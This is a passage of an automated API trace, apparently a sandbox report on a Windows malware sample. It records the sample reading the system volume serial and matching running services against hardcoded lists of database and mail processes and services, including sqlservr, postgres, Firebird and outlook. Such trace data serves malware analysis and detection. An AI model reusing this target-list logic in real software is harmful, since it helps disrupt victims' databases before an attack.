hHeap=0x790000) returned 1 [0189.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd08, Size=0x20) returned 0x7c5590 [0189.707] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x7dbe00, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0189.707] lstrlenW (lpString="C:\\") returned 3 [0189.707] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.708] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7dbe00 | out: hHeap=0x790000) returned 1 [0189.708] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec290, Size=0x82) returned 0x7ca828 [0189.708] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec3f0, Size=0x100) returned 0x80ce08 [0189.708] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca828, Size=0x104) returned 0x80cfa0 [0189.708] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80ce08, Size=0x200) returned 0x80d428 [0189.709] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ca8b8, Size=0x104) returned 0x80d630 [0189.709] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c268, Size=0x100) returned 0x80ce08 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ec3e0 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80d428 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edd50 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80be28 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edc60 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80cbf8 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edb40 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80cfa0 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edb70 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80d630 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edb88 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80cf10 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edca8 | out: hHeap=0x790000) returned 1 [0189.710] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edc00, Size=0x20) returned 0x7c5770 [0189.710] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5770, Size=0x40) returned 0x79fd18 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ec390 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edc78 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ca798 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edd38 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80ce08 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edc90 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ec3c0 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7edc18 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79e910 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x79ef38 | out: hHeap=0x790000) returned 1 [0189.710] lstrlenW (lpString="%systemdrive%") returned 13 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7c5590 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80cd08 | out: hHeap=0x790000) returned 1 [0189.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ec3d0 | out: hHeap=0x790000) returned 1 [0189.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x812c78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254 [0189.711] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7a2aa8*=0x240, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 6 os_tid = 0x3a8 Thread: id = 8 os_tid = 0xf8c [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edd20 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edd20, Size=0x20) returned 0x7c54f0 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c54f0, Size=0x40) returned 0x79fcd0 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fcd0, Size=0x80) returned 0x80cb70 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80cb70, Size=0x100) returned 0x7de460 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edc78 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edc78, Size=0x20) returned 0x7c5810 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7c5810, Size=0x40) returned 0x79fbb0 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x79fbb0, Size=0x80) returned 0x80c598 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x80c598, Size=0x100) returned 0x7de568 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7edb70 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7ec430 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edc18 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec430, Size=0x8) returned 0x7ec390 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x79ef38 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec390, Size=0x10) returned 0x7eda68 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x79f098 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x7c5590 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7eda68, Size=0x20) returned 0x7c5680 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1c) returned 0x7c5770 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x16) returned 0x79ef58 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x7c54f0 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7edbd0 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7ec390 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40) returned 0x79fcd0 [0189.724] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec390, Size=0x8) returned 0x7ec3c0 [0189.724] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3c) returned 0x79fbb0 [0189.725] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ec3c0, Size=0x10) returned 0x7edc60 [0189.725] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x79ef78 [0189.725] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x79f0b8 [0189.725] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edc60, Size=0x20) returned 0x7c5798 [0189.725] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x79e6a0 [0189.725] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0189.725] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7de460 | out: hHeap=0x790000) returned 1 [0189.725] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0189.725] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7de568 | out: hHeap=0x790000) returned 1 [0189.725] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7c5810 [0189.725] EnumServicesStatusExW (in: hSCManager=0x7c5810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0189.726] GetLastError () returned 0xea [0189.726] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1ebc) returned 0x7dee10 [0189.726] EnumServicesStatusExW (in: hSCManager=0x7c5810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7dee10, cbBufSize=0x1ebc, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7dee10, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0189.726] CloseServiceHandle (hSCObject=0x7c5810) returned 1 [0189.726] lstrlenW (lpString="Appinfo") returned 7 [0189.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0189.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0189.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0189.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0189.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0189.727] lstrlenW (lpString="AppXSvc") returned 7 [0189.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0189.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0189.727] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0189.727] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0189.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0189.727] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0189.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.727] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0189.727] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0189.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0189.727] lstrlenW (lpString="Audiosrv") returned 8 [0189.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0189.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0189.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0189.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0189.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0189.727] lstrlenW (lpString="BFE") returned 3 [0189.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0189.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0189.727] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0189.727] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0189.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0189.727] lstrlenW (lpString="BITS") returned 4 [0189.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0189.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0189.728] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0189.728] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0189.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0189.728] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0189.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0189.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0189.728] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0189.728] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0189.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0189.728] lstrlenW (lpString="CDPSvc") returned 6 [0189.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0189.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0189.728] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0189.728] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0189.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0189.728] lstrlenW (lpString="ClickToRunSvc") returned 13 [0189.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0189.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0189.728] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0189.728] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0189.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0189.728] lstrlenW (lpString="ClipSVC") returned 7 [0189.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0189.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0189.728] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0189.728] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0189.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0189.728] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0189.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0189.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0189.729] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0189.729] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0189.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0189.729] lstrlenW (lpString="CryptSvc") returned 8 [0189.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0189.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0189.729] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0189.729] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0189.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0189.729] lstrlenW (lpString="DcomLaunch") returned 10 [0189.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0189.729] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0189.729] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0189.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0189.729] lstrlenW (lpString="Dhcp") returned 4 [0189.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0189.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0189.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0189.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0189.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0189.729] lstrlenW (lpString="Dnscache") returned 8 [0189.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0189.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0189.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0189.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0189.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0189.729] lstrlenW (lpString="DoSvc") returned 5 [0189.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0189.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0189.729] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0189.730] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0189.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0189.730] lstrlenW (lpString="DPS") returned 3 [0189.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0189.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0189.730] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0189.730] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0189.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0189.730] lstrlenW (lpString="DusmSvc") returned 7 [0189.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0189.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0189.730] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0189.730] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0189.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0189.730] lstrlenW (lpString="EventLog") returned 8 [0189.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0189.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0189.730] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0189.730] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0189.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0189.730] lstrlenW (lpString="EventSystem") returned 11 [0189.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0189.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0189.730] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0189.730] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0189.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0189.730] lstrlenW (lpString="FontCache") returned 9 [0189.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0189.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0189.730] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0189.731] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0189.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0189.731] lstrlenW (lpString="gpsvc") returned 5 [0189.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0189.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0189.731] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0189.731] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0189.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0189.731] lstrlenW (lpString="iphlpsvc") returned 8 [0189.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0189.731] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0189.731] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0189.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0189.731] lstrlenW (lpString="KeyIso") returned 6 [0189.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0189.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0189.731] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0189.731] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0189.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0189.731] lstrlenW (lpString="LanmanServer") returned 12 [0189.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0189.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0189.731] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0189.731] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0189.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0189.731] lstrlenW (lpString="LanmanWorkstation") returned 17 [0189.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0189.731] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0189.731] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0189.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0189.732] lstrlenW (lpString="lfsvc") returned 5 [0189.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0189.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0189.732] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0189.732] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0189.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0189.732] lstrlenW (lpString="LicenseManager") returned 14 [0189.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0189.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0189.732] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0189.732] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0189.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0191.246] lstrlenW (lpString="lmhosts") returned 7 [0191.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0191.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0191.246] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0191.246] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0191.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0191.247] lstrlenW (lpString="LSM") returned 3 [0191.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0191.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0191.300] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0191.300] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0191.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0191.300] lstrlenW (lpString="MpsSvc") returned 6 [0191.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0191.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0191.300] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0191.300] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0191.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0191.300] lstrlenW (lpString="NcbService") returned 10 [0191.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0191.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0191.300] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0191.300] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0191.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0191.300] lstrlenW (lpString="netprofm") returned 8 [0191.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0191.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0191.300] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0191.300] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0191.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0191.300] lstrlenW (lpString="NlaSvc") returned 6 [0191.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0191.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0191.301] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0191.301] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0191.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0191.301] lstrlenW (lpString="nsi") returned 3 [0191.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0191.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0191.301] lstrcmpiW (lpString1="sqlwriter", 